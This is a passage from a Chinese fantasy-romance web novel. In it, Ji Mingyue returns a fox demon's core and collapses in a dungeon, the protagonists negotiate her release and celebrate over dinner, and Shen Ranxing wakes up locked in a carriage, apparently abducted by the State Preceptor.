“国师最初以为,只需设计让白尘烬流落宫外,不再相见,便可高枕无忧。但他后来发现,白尘烬暗中仍与朝廷中的保护势力有所联系,他害怕有朝一日白尘烬会重返皇室,威胁到他的地位,于是……便开始持续不断地派人暗杀。” 沈染星暗暗吸了一口凉气。 原来如此! 前期那些层出不穷,手段狠辣的暗杀组织,果然是国师势力披着不同外衣的爪牙。 而白尘烬能一次次化险为夷,除了自身实力,也因暗中有另一股属于朝廷的力量在护佑着他。 “所以,”纪明月道,“国师是绝对不会放过你们的。只有你们彻底消失,他才能继续粉饰太平,安稳地做他高高在上的国师。” 沈染星凝神看着她:“你的意思是,要想终结这一切,唯一的办法,就是尽快除掉国师?” 纪明月:“嗯,越快越好……我在他收集炼化的妖丹里,做了手脚,他吸收了里面的力量后,若是被逼急了,力量会失控。” 这让力量失控的毒,还是国师研制出来,对付白尘烬的,她以其人之道,还治其人之身罢了。 纪明月说得急,说完便忍不住咳嗽起来。 沈染星轻轻拍着她的背:“你好像很着急,明月,你是不是还做了什么?” 这种急迫,不像仅仅是因为知晓内情,更像是一种……时限将至的催逼。 纪明月再次沉默了。 她深深地垂下头,杂乱的白发如同杂乱的雪絮,彻底遮掩住了她的面容和所有情绪。 沈染星屏住呼吸,以为她体力不支昏厥过去,正欲侧头查看。 纪明月没动,却突然开口了:“我……想见雪拂。” 她知道这近乎奢望。 自从上次不欢而散,她为了取得国师的信任,不惜卖力做事,甚至亲手策划了对萧霁雪的陷害。 终于在国师因人手折损,急需用人之际,接触到了他平日储存妖丹的核心秘地,并冒险对那些妖丹做了手脚。 更让她意外的是,在国师收藏的诸多禁忌古籍中,她竟找到了挣脱那束缚她已久的生死状的方法…… 她挣脱了枷锁,迫不及待地出来寻找雪拂,想要告诉他一切,想要……回到他身边。 可是,她找不到了。 他就像是彻底从这个世界蒸发了一般。 他这一次,是真的下定决心,不要她了。 此刻面对沈染星,不知为何,她还是把内心的愿望说了出来。 或许在她内心深处,仍觉得沈染星能有办法找到雪拂,而雪拂……总会愿意听沈染星的话。 她等待着预料中的拒绝,或是为难的推脱。 然而,沈染星只是静静地看着她,然后轻轻颔首: “好啊,他就在门外,我让他进来。” 纪明月猛地抬起头。 什么意思? 他就在外面? “我去叫他进来。”沈染星说着,便欲转身去唤人。 “等等。”纪明月叫住了她,“你是什么时候找到他的?” 沈染星停住脚步,回头看她:“就今天啊,在镇子上偶然遇见的。” 她略一回想,又补充道:“他还挺担心你的,原本打算独自潜进来救你出去,只是恰好先遇到了我,就一起来了。” 方才的小激动,似乎已经耗尽了纪明月的精力,她又沉静了下来。 “东家。”她突然又轻轻地唤了一声。 沈染星驻足等待,以为她还有话要说。 可等了半晌,牢房里只余一片沉寂。 沈染星见她一直不开口,附和一声:“嗯?” 纪明月没有看她,目光虚无,落在对面冰冷的石壁上,声音飘忽:“你回来之后,好像一切,都在慢慢变好了。” 沈染星看着她被白发半掩的侧脸,分明没什么表情,她却偏偏看出了沧桑和沉重的哀伤。 明月此刻情绪极其低落,仿佛背负着难以想象的重量。 这段时间里,她究竟经历了什么,才会变成如今这副模样? 沈染星十分疑惑,但既然明月不愿说,她也不忍心在此刻逼问。 她能做的,唯有给予一些安慰,于是放柔了声音:“一切都会好起来的。所以,你要先保重自己的身体。我出去后,顺道就让人去请个靠谱的大夫过来看看。” 纪明月闻言,缓缓转过头,定定地看向沈染星,嘴唇微动,似乎想说什么,或许是拒绝,或许是不想再麻烦任何人。 沈染星静静地看着她,等待着。 然而,最终,纪明月什么也没说。 她只是扯动嘴角,露出了一个浅淡的笑。 沈染星离开后,地牢重新陷入了死寂。 纪明月无力地靠在冰冷潮湿的墙壁上,闭上眼,感受着体内生机一点点流逝的虚弱感。 其实连她自己都觉得有些奇怪,沈染星并非什么实力强横,算无遗策之人,甚至心性也称不上多么坚不可摧,可偏偏,只要见到她,听到她说话,自己那颗彷徨无依、浸满绝望的心,就好像莫名找到了锚点,有了片刻的安宁。 仿佛只要东家在,天就塌不下来。 她突然……不想死了。 在见到东家,知道雪拂就在门外前,求生的欲望从未如此强烈过。 可是……她已经没有退路了。 也没有选择的余地了。 那条她亲手选定的,无法回头的绝路,早已在她决定对国师的妖丹动手脚,在她强行挣脱生死状的反噬时,就铺展在了脚下。 现在的她,不过是强弩之末,苟延残喘。 意识昏沉间,一阵脚步声由远及近。 人总会对自己在意到骨子里的人和事物格外敏感。 这脚步声,纪明月甚至不需要仔细去确认,一听,便知道是雪拂。 而且,她甚至可以分辨出,此刻的他……不太高兴。 平日里,他走路总是带着点漫不经心,甚至有些吊儿郎当的随意,脚步声轻快而散漫。 可此刻,那脚步声一步,一步,落地沉稳,带着一种刻意控制的节奏,每一下都像是踩在人心尖上,压抑着某种翻涌的情绪。 脚步声在牢房外不远处停了下来。 纪明月缓缓睁开眼。 来人停在了一个不近不远的距离,恰好是栅栏火把光芒所能照亮的边缘之外。 他背对着甬道里插着的火把,整个身影笼罩在一片逆光的阴影里。 纪明月努力睁大眼睛,也只能看到一个模糊而熟悉的轮廓,完全看不清雪拂此刻脸上的表情。 是愤怒?是厌恶?还是…… 如同她记忆中最后的分别时,那般冰冷与失望? 第96章 纪明月……死了 地牢外, 几人立在牢门旁。 “萧大人。”沈染星忽然开口。 “我在。”萧霁雪立刻应声,转向沈染星时,那双清冷的眸子瞬间亮了起来,里面几乎是不加掩饰的敬佩与倾慕。 白尘烬在一侧, 眉头皱了一下, 冷冷地瞥了沈染星一眼。 沈染星似乎完全没注意到他。 他便眼不见为净, 漠然转过头去,只是周身散发着极低的气压。 沈染星对萧霁雪其实并无太多陌生感。 她与萧医生容貌相似,连清冷的性子也如出一辙。 只是若是她能把这过于直白的眼神, 稍微收敛一些, 相处起来或许会更自在些…… 沈染星忽略掉那让她不自在的目光, 问道:“我想问问,关于明月设计追杀你,导致你坠崖的事件中,是否可能有其他隐情?” 萧霁雪微怔:“为何这般问?” “我只是觉得,纪明月不像是会无条件听从国师命令的人, 起码现在的她, 不是。” 萧霁雪陷入沉思, 那段死里逃生的记忆碎片纷至沓来。 她突然想起, 那日她中计被围,力战不敌后坠崖,下落过程中竟恰好被一处突出的岩石接住,又恰好那岩石后方,有一个极其隐秘的山洞, 洞口被茂密的藤蔓完全遮掩,从外部几乎无法察觉。 她往洞中走,躲避追杀时, 曾注意到一个似乎没来得及完全抹去的脚印,当时重伤之下无暇细想。 后来她依靠洞中鸟巢里的果实和鸟蛋勉强维生,直至墨临渊清理完搜寻者,将她救回。 如今细细回想,她能活下来,其中的巧合实在太多了些,仿佛冥冥中有一条生路- “我知道,我骗了你,也欠了你许多。”纪明月无力地靠在冰冷的墙壁上,声音细若游丝。 雪拂没有靠近,就站在离她五步远的地方,阴影笼罩着他大半张脸。 他的气听不出喜怒:“所以?” 纪明月努力想看清他的模样,哪怕只是一个轮廓,可视线始终模糊不清,试了几次后,她颓然放弃,心底一片冰凉。 “我还你吧,”她喘息着,每一个字都耗费着巨大的力气,“能还多少,算多少。” 雪拂讥讽地低笑一声:“噢?纪明月,时至今日,你还能还我什么?” 纪明月还能有什么,抵得过他被剖丹之痛,被囚之辱,被欺骗的愚蠢? 纪明月只觉得浑身骨头,像是被巨石反复碾过,每寸肌肤都叫嚣着撕裂般的剧痛。 她勉强动了动手指,钻心的疼痛便顺着脊骨窜上来,激得她眼前阵阵发黑。 可即便如此了,听了他的话,肉.体疼痛还是抵不上心口那密密麻麻的疼。 心脏像是被浸了盐水的藤条反复抽打,又涩又疼,连呼吸都带着血腥气。 纪明月张了张嘴,强忍着喉头的哽咽,哑声道:“你过来。” 雪拂却像是钉在了原地,纹丝不动。 从纪明月的角度看去,逆光中的身影挺拔却冷漠,疏离得如同不可触及的雪山之巅。 这原本是她一直想要的结果,只要他不再靠近她,独自离开,便不会再因她而受到任何伤害。 可当他真的做到了,将她彻底隔绝在他的世界之外时,那股灭顶的悲伤还是瞬间将她淹没。 可她有什么资格伤心呢? 这一切都是她咎由自取。 在她决定骗取他妖丹那一刻,便不可避免会落入今日这般境地。 如是想着,纪明月准备妥协。 叫他过来,只不过是想把欠他的,亲手还给他。 既然他不愿靠近…… 其实把东西放到地上,他自取,也未尝不可。 纪明月准备动作,牢房里却再次响起了脚步声。 她抬起头,模糊的视线里,看到那个身影终究还是动了。 他一步步走了过来,停在了栅栏之外。 眼泪瞬间涌了上来,又被她眨眼,硬生生逼了回去。 这个傻瓜……到了这种时候,竟然还愿意听她的话。 雪拂站定在栅栏外,沉默地看着她。 纪明月艰难地仰起头,露出脏污的脸颊:“你,蹲下来。” 雪拂没说话,却直接一撩衣摆,席地而坐,单手支颐,另一只手随意地搭在屈起的膝盖上。 他总算从阴影中完全显露出来,火光映照着他惊艳绝伦,却冰冷异常的脸庞。 雪拂懒懒地撩起眼皮,看着她:“说吧,你打算怎么还我?” 纪明月没说话,颤抖着伸出了手,握住了他搭在屈膝的那只手。 他的手,骨节分明,白皙得近乎透明,而她的,则骨瘦如柴,脏得看不出本来的肤色,对比惨烈。 雪拂的眉头轻轻皱了一下。 与此同时,一道柔和却耀眼的光芒,自两人肌肤相接处亮起。 一股庞大而精纯的妖力,如同决堤的洪流,顺着相触的肌肤,汹涌地涌入雪拂体内。 雪拂猛地坐直了身体,支颐的手也放了下来,脸上那副漫不经心的表情,瞬间被震惊取代。 他感受到那失而复得的力量正在迅速回归,填充着他因失去妖丹而长久以来的空虚与滞涩。 他周身开始散发出一种无形的威压,原本因力量缺损,而略显黯淡的银发无风自动,流转着月华般的光华,眼眸深处泛起瑰丽的紫色光晕,属于九尾天狐的强大气息,再次笼罩了他。 纪明月看着他此刻的模样,心中既惊叹又酸涩。 这么一头强大尊贵的大妖,她当初究竟是哪里来的勇气,敢去一次次地坑害他? 或许是因为那时候,自己是真的不怕死,勇气可嘉,如今却是真的怕死,难免胆子变小了。 可,那时候她能活,如今,却是不能活了。 在她决意离开御妖台的那一日,她以为自己找到了解除生死状的术法,以为终于能挣脱枷锁,自由地去寻找他。 却没想到,那不过是国师又一次试探。 她终究还是太心急了。 那术法无法完全解除生死状,只会延缓反噬的到来。 而她,已经没有回头路了。 逃亡途中,她的力量开始飞速流逝,昔日能轻易击败的对手,如今连一两招都接不住。 被擒后,一位同门悄悄放了她,那时,她已是濒死状态。 万般无奈之下,她只能兵行险着,依靠在国师那里窥见的一点邪术,强行吞下了雪拂的那部分妖丹,试图续命。 那是一场豪赌。 未经炼化的妖丹若排斥宿主,她必死无疑。 那时她想,这样也好,算是偿还些许罪孽,只希望雪拂能察觉到妖丹力量的波动,在国师的人找到她之前,取回属于他的东西。 结果出乎意料,雪拂的妖丹竟无比温顺地接纳了她,延缓了她生命的流逝。 最让她欣喜的是,听闻沈染星苏醒了。 于是她拖着残躯来到这里,想在死前,将妖丹托付给唯一可信的东家。 可偏偏又遇上了墨临渊,被擒至此。 她抵死不让萧霁雪的人疗伤,就是怕妖丹暴露。 她在这里默默计算着时日,生命即将走到尽头。 于是向萧霁雪提出条件,若能见到沈染星,便和盘托出国师的秘密。 她算准了去冰原寻人至少三四日。 时间刚刚好。 却万万没想到,如同做梦一般,沈染星突然出现了。 随之而来的,还有她遍寻不着的雪拂。 见到了最挂念的二人后,这一切…… 其实,也没那么糟糕了。 也没那么遗憾了。 纪明月强撑着最后一丝清明,瞳孔中映照出那令人心魄俱震的美。 雪拂姿态端正,盘腿而坐,九道巨大的狐尾虚影在他身后,如孔雀开屏般缓缓展开,每一根毛发,都流淌着月华般的银辉,光芒圣洁而耀眼。 空气中弥漫开强大的威压,伴随着点点莹光,如同星辰坠落,环绕他周身飞舞。 纪明月心口那撕裂的痛楚奇异地平息了,取而代之的是一种温凉的解脱。 她眼神不舍,最后看到的,是雪拂那双彻底转为璀璨流金的眼眸,以及唇边一抹清冷绝艳的笑意。 随即,所有力气退去,视野被黑暗吞没,意识沉入了寂静- 地牢外,沈染星将自己对纪明月行为的猜测,以及从纪明月那里得到的关键信息,都告知了萧霁雪,随后又做出了总结: “纪明月大概是去当了双面卧底,通过陷害你获取国师信任,同时也在暗中为你留了生路。之后,她又对国师的妖丹做了手脚。” 既然纪明月并非真心背叛,便没有理由继续关押。 沈染星看向萧霁雪:“我想带纪纪明月走。” 萧霁雪面露难色。 其他事情尚可商量,但纪纪明月是深挖国师底细的关键人物…… 萧霁雪道:“国师恢复元气后愈发谨慎,我们许久找不到突破口,纪纪明月是目前唯一的线索,即便她……” “你们问不出任何东西,但是我可以。” 沈染星打断她,她人看起来温和,言语间却十分强势:“我答应你,我会把从她那里得到的所有关于国师的信息,同步告知给你。” 春日正好,暖阳如金,懒洋洋地洒在青石板上。墙角一株野桃树开得正盛,粉白的花瓣随风簌簌落下,有几瓣俏皮地沾在沈染星的肩头。 萧霁雪不由自主看着沈染星肩头的花瓣。 的确,纪纪明月之前宁死不合作,一直防备着他们。 反而是沈染星一来,就问出了如此关键的信息。 让沈染星带她回去,或许真能问出更多。 萧霁雪权衡利弊,终于下定决心:“好。”- 妖丹回归,带来的磅礴力量,雪拂沉浸在通体舒畅中,因力量缺损而时常不受控的情绪,也变得清明、冷静,甚至有些冷漠。 随之涌起的,是一股被欺骗、被利用、被囚禁的滔天戾气。 一个念头疯狂滋生:他要让这个一再伤害他、让他颠沛流离的女人,付出应有的代价。 他抬头,冰冷的目光射向牢内那个虚弱的身影。 然而,目光所及,却让他骤然一顿。 失去了妖丹力量的支撑,纪明月那一头刺目的白发,正以肉眼可见的速度,变回黑色,只是失去了往日的光泽,变得如同枯草般黯淡焦黄。 她发间那支木簪,顶端那点象征生机的红色,几乎完全消散。 她整个人形容枯槁,气息微弱得几乎感知不到。 雪拂强迫自己收回视线,不紧不慢起身。 报复一个垂死之人,他没什么兴趣。 救她,更不可能,他不能再在同一个坑里跌倒两次。 眼神一厉,雪拂决绝地转身,便要离开这个地方,离开她。 可是,身后那道微弱的气息,就在他转身的刹那……彻彻底底地消失了。 牢房内,陷入一片死寂。 雪拂的脚步僵在原地,背影挺拔,却无比僵硬。 纪明月……死了- 得了萧霁雪的承诺,沈染星心头一块大石落地,心情瞬间明朗起来。 她本就生得极好,此刻眉眼舒展,唇角自然上扬,带着一种由内而外的自信与阳光,引人注目而不自知。 萧霁雪一时竟看得有些呆了。 其实她一直如此迫切地想见沈染星,除了任务因素外,更深处,是被这个人本身所吸引。 许久之前,在她于朝堂与各方势力周旋,举步维艰之时,便听闻在偏远的方圆镇,出了一位特立独行的大善人。 那位善人建立了一座名为“共生苑”的奇特之地,不问出身,不论人妖,皆可在此寻求庇护与共存。 她甚至以自身为纽带,斡旋于不同种族之间,化解了多起可能引发血战的冲突,其胆识与胸怀,令人心折。 那时,沈染星这个名字,便记在了萧霁雪心中。 “共生契约”,正是萧霁雪内心深处构想多年,却因顾虑重重而迟迟不敢推行的理念。 这理念过于超前,剑走偏锋,若成,或许能为人妖两族找到一条新路;若败,必将引来守旧势力和国师的猛烈打击,万劫不复。 而沈染星,竟在她犹豫不决时,已先一步将理念付诸实践,并且……初见成效。 这给了萧霁雪莫大的勇气和借鉴,她开始在自己的势力范围内,尝试推行类似的缓和政策。 然而,即便有前例可循,这条路依旧遍布荆棘,来自各方的非议、暗中的阻力,常让她焦头烂额。 也正是在这艰难的推行过程中,她对那位素未谋面的沈染星,产生了钦佩与神往之情。 她愈发想要见到她,与她畅谈理念,请教经验。 她写过许多封信,却石沉大海,未曾收到只言片语的回复。 几次三番想要亲自上门拜访,又总会被各种突如其来的意外打断。 后来她才隐约知晓,那些意外,除了部分出自国师之手,意图隔绝她们的联系外,还有相当一部分,源于白尘烬的从中作梗…… “还没看够?” 这位喜欢从中作梗的人,突然冷冰冰开口,打断了萧霁雪的思绪。 她这才惊觉,自己竟盯着沈染星失神了许久,久到连旁边这个酷坛子都打翻了…… 萧霁雪有些不服气,又带着点被戳穿的窘迫,默默挪开了视线,心中暗道: 若不是这人多番阻挠,横加干涉,指不定自己与沈姑娘如今已是志同道合,无话不说的挚友了! 沈染星见白尘烬脸色沉得能拧出水来,周身的气压低得吓人,既无奈又有些好笑,放软了声音,轻轻拉住他的衣袖- 牢内。 雪拂回过神来,才发现,自己不知何时已震碎了牢房的栅栏,将她搂在了怀里。 怀里的人轻得几乎没有重量,冰冷得吓人。 他几乎是本能地,不计后果地,将刚刚回归的磅礴妖力,疯狂灌入她枯竭的经脉。 一息,两息,三息…… 怀里的人依旧没有任何反应,安静得令人心慌。 她面容憔悴得脱了形,双颊深深凹陷,肤色是一种毫无生气的灰白,发丝枯黄,凌乱地贴在她汗湿的额角与颈侧。 雪拂发现自己的手在不受控制地发抖。 他是血统崇贵的九尾天狐,是纵横妖域的大妖,此刻却感到了从未有过的惊恐。 这股失控的恐惧化作暴走的妖力,以他为中心肆虐开来,牢房的石壁出现裂痕,地面微微震动,悬挂的火把明灭不定,仿佛随时都会彻底崩塌。 刚将炸毛的白尘烬稍稍安抚住,沈染星便身形不稳,晃了一下。 白尘烬抬手搂住她的肩膀,扶稳她。 过了好半晌,地面传来的晃动,才停歇。 沈染星与萧霁雪对视一眼,均在对方眼中看到了惊疑。 地牢里,出事了。 第97章 一步一步,走到你身边…… 三人不再多言, 立刻转身冲向地牢深处。 乍一进到牢里,眼前的景象让沈染星心头巨震。 只见雪拂处于半妖化的形态,银发狂舞,狐耳竖立, 周身妖气狂暴不安。 他怀中紧紧抱着的, 正是气息奄奄的纪明月。 几乎第一时间, 沈染星便明白—— 明月出事了! 怎么会这么快?! 沈染星脑中一片空白,下意识就要往里冲,却被白尘烬一把死死拦住。 “别过去, 他力量不稳!”白尘烬沉声道, 手臂如同铁箍般, 将她禁锢在怀里。 “放开我……”沈染星用力挣扎,脑子乱成一片。 她好不容易才回来了,才打算把一切恢复到从前,怎么会…… 她自然无法挣脱白尘烬的桎梏,好在那躁动肆虐的妖力并未持续多久, 便渐渐平息了。 这时, 白尘烬才松开沈染星。 沈染星冲到雪拂身边, 却被雪拂赤红如血眼眸, 骇在了原地。 雪拂依旧保持着大致的人形,但他原本俊美的面容,此刻却染上了妖异的特征,再也寻不见半分往日的温情与狡黠。 他的唇边露出尖锐的犬齿,寒光凛凛, 对着沈染星的方向龇牙,发出“嘶哈”的驱赶声。 情急之下,沈染星一巴掌拍在他后脑勺上。 …… 地牢重新恢复了死寂, 只剩下碎石落地的细微声响。 雪拂被打得卡顿了好半晌,眼中清明了些许,血红缓缓褪去,妖化的特征也逐渐收敛。 他低下头,看着怀中依旧毫无声息的人。 “东家……”他的声音沙哑得厉害,“我只是勉强用妖力护住了她心脉一线生机,吊住了这口气。” 沈染星强压下心中的惊慌,她知道此刻自己绝不能乱:“明月这到底是怎么了?” 雪拂深吸一口气,努力让声音平稳:“她体内有一种极其阴毒的蛊毒,早已深入骨髓脏腑,按理说……早该毒发身亡。不知为何拖延至今才彻底爆发。我虽强行用妖力续命,但也只是权宜之计。” 沈染星立刻明白,他口中的“蛊毒”,十有八九与国师操控下属的生死状有关。 她急切地问道:“如果我把下蛊的人杀了,她是不是就能好了?” 他缓缓摇头,眼神平淡。 此时的雪拂,因妖丹完整归位,周身散发着一种与往日截然不同的强大气场,让沈染星一时都有些不太适应。 沈染星斟酌一番,正打算开口。 雪拂便平静道:“不会,蛊毒已彻底发作,便如同堤坝溃决,源头虽在,洪水却已泛滥。杀了下蛊者,或许能阻止后续伤害,但已造成的……无力回天。” 沈染星的心瞬间沉入谷底。 雪拂看着她瞬间苍白的脸色,闭了闭眼,再睁开时,眼中已是一片决然:“东家,我带她回妖域,或许能找到救她的办法。” 沈染星眼眸一下子红了。 雪拂顿了顿,声音低沉:“你保重。” 说完,他抱着明月站起身,眼神瞬间变得凌厉如刀,射向站在门口的萧霁雪,周身妖力再次隐隐波动,显然已做好了不惜一切代价,硬闯出去的准备。 沈染星立刻反应过来,泪都被吓回去了,挡在他身前:“别冲动,我来和她沟通,你直接走就是了!” 话音刚落,地牢内忽地卷起一阵不自然的阴风,带着地底深处的寒意,吹得她鬓角碎发飞扬。 她下意识转头,看向萧霁雪的方向,顿时吓得一个激灵。 萧霁雪身侧,不知何时,竟悄无声息地多了一个人。 不,准确来说,是一位妖气凛然的大妖。 来人一身玄色劲装,衣摆处以暗金丝线绣着繁复的火焰纹路,身形高大挺拔,面容俊美得极具侵略性,剑眉斜飞入鬓,一双锐利眼瞳,此刻正锁定在雪拂身上。 他与白尘烬那种仿佛万年寒冰般的阴冷不同,他的张扬与霸道是外放的,如同熊熊燃烧的烈焰,仿佛能焚尽一切阻碍。 他周身散发出的强大妖气,与萧霁雪那份清冽坚韧的人族气息交织在一起,竟意外地形成一种微妙而和谐的气场,宛如冰与火的共舞,看起来……还颇为登对。 沈染星认出来,这正是原著男主,龙妖,墨临渊。 两方王者在此狭路相逢,皆散发着毫不掩饰的审视与敌意。 整个地牢的气氛瞬间绷紧,如同拉满的弓弦,一触即发。 沈染星夹在这两股强大的气场中间,只觉得头皮一阵发麻,压力倍增。 但她知道此刻绝不能退缩,她深吸一口气,强迫自己站稳,迎向墨临渊的视线。 他是感知到雪拂方才失控的强大妖力,担心萧霁雪的安危,才匆匆赶来的。 还未等沈染星组织好语言,开口斡旋,萧霁雪已率先看向她:“沈东家,我答应你,可以让她留在你身边照料。但我从未答应过,她可以被擅自带离,尤其是前往妖域。” 对萧霁雪而言,国师行踪诡秘,深居简出,她扣下纪明月最大的目的,就是希望通过她找到国师的藏身之处或弱点,以免节外生枝,夜长梦多。 既然如此…… 沈染星心念电转,立刻有了决断。 她目光灼灼,看向萧霁雪:“萧大人,你不过是想找到国师,为民除害,终结这场无谓的纷争,我有办法帮你找到他,你放雪拂和明月离开。” 萧霁雪眼中闪过一丝惊讶,她下意识是愿意相信沈染星的,毕竟对方创造了太多奇迹。 但放走手中可能唯一的关键线索,是一个需要承担巨大风险的决定,她面上不禁露出了迟疑之色。 沈染星见她犹豫,立刻趁热打铁,指着雪拂怀中气若游丝的纪明月:“萧大人,你也知道,国师座下核心弟子,都被种下恶毒的生死状,一旦叛出师门,绝无生理。明月她如今已经是这模样,强留下来,对你们而言,除了可能引发不必要的冲突,还能得到什么呢?” 闻言,萧霁雪的目光再次落回纪明月身上。 那张脸虽然脏污,却掩盖不住死灰般的苍白,气息微弱得几乎感知不到。 纪明月落入他们手中后,一直顽强地活着,这曾是她认为纪明月并未真正背叛,尚可争取的依据。 此刻看来,一切都明了了。 纪明月确实背叛了,只是用某种未知的方法延缓了死亡,如今心愿已了,便是她赴死之时。 萧霁雪明白,纪明月这步棋已经废了,强行留下毫无价值,反而会与沈染星、雪拂彻底交恶,得不偿失。 她的目光转向沈染星:“你当真……有把握找到国师?” 沈染星迎着她的目光,胸有成足道:“那当然。” 正此时,一阵不合时宜的“咕噜”声突然响起…… 瞬间,所有人的目光,全都齐刷刷地,聚焦到了声音的来源—— 沈染星的腹部。 沈染星脸颊有些发热,有些尴尬地摸了摸肚子,小声解释道:“折腾了一个下午,已经过了饭点,所以……” 她是真的饿了,从寻找雪拂到地牢对峙,精神高度紧张,体力消耗巨大。 白尘烬立刻上前,牵过她的手:“嗯,我带你去吃饭。” 萧霁雪见状,忙道:“若是不嫌弃,可以留下来,我们一起吃。这个时辰,厨娘应该已经备好晚饭了。” 她目光恳切地看向沈染星,显然很想与她有更多相处的时间。 白尘烬眉头微蹙,冷着脸,打算直接拒绝。 然而,他还没开口,身边的沈染星却已眼睛一亮,兴冲冲地应了下来:“好啊,正好我也饿了,那就叨扰了!” 白尘烬到了嘴边的拒绝,被她堵了回去,只得默默握紧了她的手,算是默许。 雪拂全无心思吃饭,他抱着纪明月,离开了。 衙署后院的饭厅不算奢华,却布置得清雅别致。 几人围坐在圆桌前,气氛竟意外地融洽。 萧霁雪吩咐厨娘又添了几道拿手菜,虽多是家常风味,却做得极为精致可口。 沈染星是真的饿了,加之心情放松下来,吃得格外香甜。 萧霁雪看着她毫不做作的吃相,眼中笑意更深,不时为她布菜,介绍着当地特色。两人从各地美食聊到风土人情,又从共生苑的趣事,聊到推行缓和政策时遇到的困难与解决之道。 沈染星发现,萧霁雪不仅容貌与萧医生相似,连那份清冷外表下的,对信念的执着都如出一辙。 谈及理想时,她与记忆中的萧医生几乎重叠。 这种奇妙的熟悉感和志趣相投,让沈染星生出一种一见如故的亲切感,话也渐渐多了起来。 萧霁雪更是如此。 她许久未曾与人如此畅快地交谈,沈染星的许多想法都与她不谋而合,甚至能给她带来新的启发。 桌上添了酒。 一如从前萧医生失恋时,她们饮起了酒。 不过这一次,是为了庆祝这难得的知己相逢,也为了有情人终成眷属。 不再是借酒浇愁,而是把酒言欢。 两人的酒量似乎也比记忆中好了不少,推杯换盏间,脸颊虽染上红晕,眼神却愈发明亮,笑声不断。 白尘烬和墨临渊倒像是成了陪衬,一个沉默地替沈染星剥着虾壳,剔着鱼刺,一个则专注地为萧霁雪斟酒布菜,目光始终温柔地追随着她。 直到月色西沉,宴席才终散尽。 沈染星喝得微醺,拉着萧霁雪的手还有些意犹未尽,约定日后定要再聚长谈。 回客栈的路上,白尘烬稳稳地背着沈染星。 她伏在他宽厚温暖的背上,醉意让身体软绵绵的,使不上丝毫力气,像只慵懒的猫儿,将滚烫的脸颊贴在他微凉的颈侧。 呼吸间,带着清浅的酒气和新酿桂花般的甜香。 嘴里还无意识地嘟囔着含糊不清的呓语,偶尔用鼻尖蹭蹭他的皮肤,引得他脊背微微绷紧。 走着走着,她忽然像是想起了什么重要的事,努力凑到他耳边。 温热的气息混合着酒意喷洒在他敏感的耳廓上,她声音软糯,带着撒娇的意味:“白尘烬……我和你说一个秘密哦。” 白尘烬侧过头,放柔了声音配合地问:“什么秘密?” “我其实……很高兴。”她吃吃地笑起来,带着醉后的憨态。 “高兴什么?” “把你从她手里抢过来了……很高兴。” “你何时有抢过我?” 她没再回答,只是将脸埋回他颈窝,呼吸逐渐均匀。 白尘烬脚步微顿,沉默了片刻,又继续迈步朝前。 夜风中,他仿佛在对熟睡的人儿低语,又像是在自言自语:“不都是我自己,一步一步,走到你身边的吗?” 第98章 落入了国师的手中 客栈房间里, 只余窗外漏进的几缕清冷月光,勾勒出家具朦胧的轮廓。 白尘烬动作轻缓,将背上的沈染星放在柔软的床铺。 沈染星甫一沾到床,长长的睫毛便颤了颤, 缓缓睁开了双眸。 因着醉意, 她的眼神不似平日清明, 蒙着一层氤氲的水雾,迷迷蒙蒙地,在昏暗的光线里, 捕捉到了他的身影。 白尘烬正欲起身, 去唤店小二准备热水, 衣袖却被人轻轻拉住。 他低头,对上她依赖的眼神。 “别走……”她声音软糯,带着鼻音。 白尘烬看了她一眼,便重新在床沿坐下,温声道:“我去叫水, 给你擦洗一下, 会舒服些。” 沈染星却不依, 摇了摇头, 反而道:“你靠近一点。” 他依言俯身凑近。 带着酒气的温热呼吸拂在他脸上,下一刻,一双柔软的手臂便环上了他的脖颈,一个带着桂花酒香和独属于她清甜气息的吻,轻轻印在了他的唇上。 白尘烬呼吸陡然一重, 几乎是本能地,想要攫取更多,加深这个吻。 然而, 在他有所动作之前,沈染星却微微退开些许,醉眼迷离,专注地凝视着他,伸出指尖,轻轻描绘他的轮廓。 她语气有些低落:“我们一起去把国师那王八蛋给宰了……好不好?” 闻言,白尘烬紧绷的身体缓缓放松下来。 他抬手,用指腹摩挲着她因醉酒而泛红滚烫的脸颊,声音低沉:“好,但是现在我得先去给你叫水。” 沈染星像是听懂了,用力地点点头,模样乖巧极了:“嗯,我等你!” 说完,还自己拉过被子,盖到下巴,只露出一双亮晶晶的眼睛望着他。 白尘烬又深深看了她一眼,这才起身,快步走出房间,下楼去吩咐准备热水- “吱呀吱呀,吱呀吱呀……” 沈染星睡得正沉,梦里仿佛置身于一叶扁舟,随着轻柔的水波荡漾,船夫摇橹的声音规律而催眠,让她无比放松舒适。 然而,这宁静骤然被打破。 水底猛地窜出一个巨大的黑影,狠狠撞上了船底。 “砰!” 船身剧烈地颠簸起伏。 沈染星心头一惊,猛地从梦中惊醒过来。 “吱呀吱呀,吱呀吱呀……” 那规律的声音并未消失,依旧在耳边持续作响,伴随着身体的轻微晃动。 她撑着因宿醉而晕沉胀痛的脑袋,茫然地环顾四周—— 陌生的,不断轻微颠簸的环境…… 是车厢! 沈染星心中大惊,瞬间彻底清醒。 她明明记得自己是在客栈的床上,等着白尘烬叫水回来,怎么会一觉醒来,身处移动的马车之中? 强烈的危机感袭来,她汗毛倒竖,扑向车门,用力拉扯,却发现木制的车门从外面被牢牢锁死。 她又慌忙去推两侧的车窗,同样纹丝不动,窗也被封死了。 沈染星心跳骤然失控,如同擂鼓般在胸腔里狂跳。 这不可能是白尘烬做的。 这马车内部的陈设冰冷而坚硬,毫无舒适性可言,完全不是他那种即便在极端偏执下,也会为她营造温暖舒适环境的风格。 如今这世上,除了白尘烬,还有谁想要将她捉起来? 答案几乎呼之欲出—— 国师。 所以……她是落入了国师的手中了? 昨晚她醉酒后到底发生了什么? 沈染星先是一阵狂喜,这人竟自己找上门来了。 而后又升起一阵担忧。 白尘烬呢?她无端消失,他会如何? 她正惊疑不定,心脏在胸腔里狂跳。 马车兀地停了下来,惯性地微微晃动了一下。 她立刻扑到门边,努力将眼睛凑近门板的缝隙,试图窥探外界的情况。 然而这马车制造得极为精良,木板严丝合缝,她除了能看到几缕极其细微的光线透入,根本看不清任何景象! 她不死心,又迅速在车厢内四处摸索,指甲抠过每一块木板,寻找可能存在的暗格、松动处,或是任何可以借力的地方,却一无所获。 此时,一道脚步声不疾不徐,由远及近,清晰地传了进来。 那脚步声沉稳而规律,最终,停在了车门外。 沈染星立刻屏住呼吸,全身紧绷,听到外面传来细微声响,像是钥匙插入锁孔,或是某种机括被拨动。 紧接着,门锁处传来了“咔哒”一声轻响。 有人要进来了! 沈染星强迫自己迅速冷静下来。 